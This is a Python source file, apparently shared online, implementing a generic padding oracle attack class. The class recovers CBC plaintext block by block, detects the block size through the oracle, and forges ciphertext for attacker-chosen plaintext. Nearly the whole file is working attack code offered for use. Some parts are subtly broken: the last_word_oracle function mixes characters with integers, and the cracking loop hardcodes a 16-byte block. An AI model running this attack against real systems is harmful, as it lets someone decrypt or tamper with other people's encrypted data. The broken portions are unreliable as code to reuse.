padd0r.py 11 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352
  1. #!/usr/bin/python
  2. from base64 import b64encode, b64decode
  3. from copy import deepcopy
  4. import logging
  5. import random
  6. from functools import reduce
  7. import sys
  8. class Encoding:
  9. ''' Encoding Enum '''
  10. b64 = 1
  11. b64_web = 2
  12. hex = 3
  13. raw = 5
  14. class PaddingOracle(object):
  15. '''
  16. Generic code to attack padding oracles
  17. '''
  18. def __init__(self, ciphertext, BS=None, verbosity=1, encoding=Encoding.b64, oracle=None):
  19. # setup logging - default
  20. self.set_verbosity(verbosity)
  21. # init class variables
  22. self.encoding = encoding
  23. self.oracle_func = oracle
  24. self.analyse_func = None
  25. # encode the initial ciphertext
  26. self.ct = self.decode(ciphertext)
  27. # if no BS is give, determine the BS
  28. if BS == None:
  29. self.BS = self.get_blocksize(self.ct)
  30. else:
  31. self.BS = BS
  32. self.num_blocks = self._ct_init()
  33. self.blocks = self.split_blocks(self.ct)
  34. self._outmode = "hex"
  35. # backup it_blocks and pt_blocks as dict {index:block} - for changing blocks
  36. self.it_blocks = {}
  37. self.pt_blocks = {}
  38. '''
  39. Used to decode the ciphertext, using the class variable self.encoding,
  40. internally the ciphertext is processed as string (bytes)
  41. '''
  42. def decode(self, ciphertext):
  43. if self.encoding == Encoding.b64:
  44. ciphertext = b64decode(ciphertext)
  45. elif self.encoding == Encoding.hex:
  46. ciphertext = ciphertext.decode('hex')
  47. elif self.encoding == Encoding.b64_web:
  48. ciphertext = b64decode(ciphertext) #TODO: adjust to b64web_decoding
  49. return ciphertext
  50. '''
  51. Used to encode the ciphertext, using the class variable self.encoding,
  52. internally the ciphertext is processed as string (bytes) but returned
  53. in the same fashion as the input was
  54. '''
  55. def encode(self, ciphertext):
  56. if self.encoding == Encoding.b64:
  57. ciphertext = b64encode(ciphertext)
  58. elif self.encoding == Encoding.hex:
  59. ciphertext = ciphertext.encode('hex')
  60. elif self.encoding == Encoding.b64_web:
  61. ciphertext = b64encode(ciphertext) #TODO: adjust to b64web_decoding
  62. return ciphertext
  63. '''
  64. simple length checks and blockcount
  65. '''
  66. def _ct_init(self):
  67. if len(self.ct) % self.BS != 0:
  68. raise Exception("[-] Length not a multiple of the BS")
  69. return len(self.ct) / self.BS
  70. '''
  71. splits the ciphertext in bs-large blocks
  72. '''
  73. def split_blocks(self, ct):
  74. return [bytearray(ct[i:i+self.BS]) for i in range(0, len(ct), self.BS)]
  75. '''
  76. merges the blocks together and return ciphertext
  77. '''
  78. def merge_blocks(self, blocks):
  79. out = bytearray()
  80. for ba in blocks:
  81. out.extend(ba)
  82. return out
  83. def last_word_oracle(self, y):
  84. r = [chr(random.randint(0x00, 0xff)) for i in range(self.BS)]
  85. r_b = r[-1]
  86. for i in range(256):
  87. r[-1] = chr(ord(r_b) ^ i)
  88. y = ''.join(r)
  89. # ask the oracle
  90. if self.oracle_func(r + y):
  91. # padding is 0x01
  92. r_b = r_b ^ i
  93. # for n = b down to 2
  94. for n in range(self.BS, 1, -1):
  95. r = r[self.BS-n] * r[self.BS-2]
  96. '''
  97. bool oracle(ct) - should return True if ct is correct and False if padding error
  98. '''
  99. def crack_last_block(self, blocks):
  100. orig_blocks = deepcopy(blocks) # deepcopy for not referencing lists...
  101. pt_block = [0]*self.BS # plaintext block
  102. it_block = [0]*self.BS # intermidiate block
  103. orig_pre_ct = orig_blocks[-2]
  104. # only assigning the lists will reference to the original blocks-list!!
  105. pre_ct = blocks[-2] # second to last ct block - gets modified
  106. last_ct = blocks[-1] # last ct block
  107. real_padding = self.BS
  108. first_run = True
  109. # byte_index is counting backwards in the second-to-last block
  110. for byte_index in range(self.BS-1, -1, -1):
  111. padding = self.BS - byte_index
  112. # gets jumped over during the first run
  113. if byte_index < 15:
  114. for prev_byte_index in range(15, byte_index, -1):
  115. #print("[-] Adjusting byte @ offset %d [Padding: %x]" % (prev_byte_index, padding))
  116. pre_ct[prev_byte_index] = it_block[prev_byte_index] ^ padding
  117. for guess in range(256):
  118. # iterate the bytes @ byte_index position
  119. pre_ct[byte_index] = guess
  120. # ask the oracle
  121. #if oracle(merge_blocks(blocks)) and orig_pre_ct[byte_index] != guess:
  122. if self.oracle_func == None:
  123. raise Exception("[-] No Oracle function set!")
  124. if self.oracle_func(self.merge_blocks(blocks)):
  125. if guess == orig_pre_ct[byte_index] and padding < real_padding:
  126. continue
  127. pt_block[byte_index] = guess ^ padding ^ orig_pre_ct[byte_index]
  128. if first_run:
  129. real_padding = pt_block[byte_index]
  130. first_run = False
  131. it_block[byte_index] = guess ^ padding
  132. logging.debug("[~] correct padding [{0}] with byte [{1}]\n\t-> it_byte = {0} ^ {1} = {3}\n\t-> pt_byte = it_byte ^ {2} = {4}\n".format(hex(padding),\
  133. hex(guess), hex(orig_pre_ct[byte_index]), hex(it_block[byte_index]),hex(pt_block[byte_index])))
  134. logging.debug("[+] Plaintext Block: {}".format(pt_block))
  135. break
  136. return it_block, pt_block
  137. '''
  138. used to print the ct blocks as hexdump
  139. '''
  140. def print_ct_blocks(self):
  141. print("[~] ciphertext as blockwise hexdump")
  142. ch_arr = self.bytes_to_string(reduce(lambda x, y: x+y, [list(ba) for ba in self.blocks]))
  143. print(self.hexdump(ch_arr, length=self.BS))
  144. '''
  145. convert a byte-list to a string
  146. '''
  147. def bytes_to_string(self, inp):
  148. return "".join([chr(p) for p in inp])
  149. '''
  150. change block @ index to a new block
  151. '''
  152. def change_block(self, new_plaintext):
  153. if len(new_plaintext) % self.BS != 0:
  154. raise Exception("[-] new plaintext should be a multiple of the blocksize")
  155. # Startin at Block 2 (index 1)
  156. new_blocks = self.split_blocks(new_plaintext)
  157. num_new_blocks = len(new_blocks)
  158. local_blocks = deepcopy(self.blocks)
  159. local_it_blocks = deepcopy(self.it_blocks)
  160. if num_new_blocks > len(local_blocks):
  161. raise Exception("[-] Plaintext is too long")
  162. for idx in range(num_new_blocks-1, 0, -1):
  163. logging.info("[*] changing index %d" % idx)
  164. it_block = self.get_it_block(idx, local_blocks)
  165. local_blocks[idx-1] = ''.join(map(lambda xy: chr(xy[0]^xy[1]), zip(new_blocks[idx], it_block)))
  166. x = self.merge_blocks(local_blocks)
  167. # adjust all the previous blocks (iv block_0 = IV, the complete message can be changed)
  168. return self.encode(x)
  169. '''
  170. used to crack the block @ index
  171. index := {0, 1, .., .., len-1}
  172. '''
  173. def get_it_block(self, index, ct_blocks):
  174. if not index:
  175. raise Exception("[-] Cannot decrypt the first block")
  176. local_blocks = deepcopy(ct_blocks)
  177. it_block, pt_block = self.crack_last_block(local_blocks[:index+1])
  178. return it_block
  179. '''
  180. used to crack the block @ index
  181. index := {0, 1, .., .., len-1}
  182. '''
  183. def crack_block(self, index):
  184. if not index:
  185. raise Exception("[-] Cannot decrypt the first block")
  186. local_blocks = deepcopy(self.blocks)
  187. it_block, pt_block = self.crack_last_block(local_blocks[:index+1])
  188. self.it_blocks[index] = it_block
  189. self.pt_blocks[index] = pt_block
  190. logging.info("\n[+] decrypted block [%d]\n" %(index))
  191. self._output(pt_block)
  192. '''
  193. universal func. to output plaintext
  194. '''
  195. def _output(self, pt_block):
  196. print("-----[ Plaintext ]-----")
  197. if self._outmode == "hex":
  198. print(self.hexdump(self.bytes_to_string(pt_block)))
  199. elif self._outmode == "str":
  200. print(self.bytes_to_string(pt_block))
  201. '''
  202. set the output mode for printing the plaintext
  203. '''
  204. def set_output(self, mode):
  205. self._outmode = mode
  206. '''
  207. verbosity for different output
  208. 0 = no output
  209. 1 = INFO
  210. 2 = DEBUG
  211. '''
  212. def set_verbosity(self, level):
  213. levels = {
  214. 0:logging.WARNING,
  215. 1:logging.INFO,
  216. 2:logging.DEBUG
  217. }
  218. logging.basicConfig(format='%(message)s', level=levels.get(level, logging.INFO))
  219. def decrypt_block_at_index(self, index):
  220. logging.info("[+] Decrypting block at index %d" % index)
  221. self.crack_block(index)
  222. '''
  223. crack all blocks of the ciphertext (except first one)
  224. '''
  225. def decrypt_all_blocks(self):
  226. orig_blocks = deepcopy(self.blocks)
  227. local_blocks = deepcopy(self.blocks)
  228. num_blocks = len(self.blocks)
  229. pt_blocks = []
  230. logging.info("[+] Decrypting all %d blocks" % num_blocks)
  231. for idx in range(num_blocks, 1, -1):
  232. logging.info("[*] Decrypting block %d" %(idx))
  233. it_block, pt_block = self.crack_last_block(local_blocks[:idx])
  234. pt_blocks.append(pt_block)
  235. local_blocks = deepcopy(orig_blocks)
  236. self.it_blocks[idx-1] = it_block
  237. self.pt_blocks[idx-1] = pt_block
  238. pt_blocks = pt_blocks[::-1]
  239. pt = reduce(lambda x, y: x+y, pt_blocks)
  240. logging.info("\n[+] decrypted all the blocks\n")
  241. self._output(pt)
  242. '''
  243. get the blocksize via the oracle - described in 'Practical Padding Oracle Attacks', by T. Duong & J. Rizzo
  244. Works like following:
  245. '''
  246. def get_blocksize(self, ciphertext):
  247. if self.oracle_func == None:
  248. raise Exception('Error: Not oracle set!')
  249. if len(ciphertext) % 16 == 8:
  250. return 8
  251. c = ciphertext[-16:]
  252. if self.oracle_func(ciphertext + c) == True:
  253. return 8
  254. return 16
  255. def hexdump(self, src, length=16):
  256. ''' https://gist.github.com/sbz/1080258 '''
  257. src = str(src)
  258. FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)])
  259. lines = []
  260. for c in range(0, len(src), length):
  261. chars = src[c:c+length]
  262. hex = ' '.join(["%02x" % ord(x) for x in chars])
  263. printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.') for x in chars])
  264. lines.append("%04x %-*s %s\n" % (c, length*3, hex, printable))
  265. return ''.join(lines)